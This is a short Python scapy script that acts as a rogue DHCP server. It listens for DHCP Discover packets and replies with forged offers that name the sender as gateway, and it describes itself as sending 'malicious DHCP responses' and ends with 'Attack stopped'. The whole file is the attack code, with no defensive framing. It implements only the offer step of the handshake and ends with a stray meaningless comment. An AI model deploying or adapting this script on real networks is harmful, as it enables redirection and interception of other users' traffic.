from scapy.all import *

def get_mac():
    """
    Get the MAC address of the local host
    """
    mac = get_if_hwaddr(conf.iface)
    return mac

def dhcp_offer(packet):
    """
    Handle DHCP requests and send malicious DHCP responses
    """
    if DHCP in packet and packet[DHCP].options[0][1] == 1:  # DHCP Discover
        print(f"Received DHCP Discover from {packet[Ether].src}")

        # Construct a DHCP Offer packet
        offer = Ether(src=get_mac(), dst=packet[Ether].src) / \
                IP(src="192.168.1.1", dst="255.255.255.255") / \
                UDP(sport=67, dport=68) / \
                BOOTP(op=2, yiaddr="192.168.1.100", siaddr="192.168.1.1", chaddr=packet[BOOTP].chaddr) / \
                DHCP(options=[("message-type", "offer"),
                              ("server_id", "192.168.1.1"),
                              ("lease_time", 600),
                              ("subnet_mask", "255.255.255.0"),
                              ("router", "192.168.1.1"),
                              ("name_server", "8.8.8.8"),
                              "end"])

        sendp(offer, verbose=False)
        print(f"Sent DHCP Offer to {packet[Ether].src}")

def main():
    print("Listening for DHCP requests... Press Ctrl+C to stop")
    try:
        sniff(filter="udp and (port 67 or 68)", prn=dhcp_offer, store=0)
    except KeyboardInterrupt:
        print("Attack stopped")

if __name__ == "__main__":
    main()
# pip install scapy
# sansjtw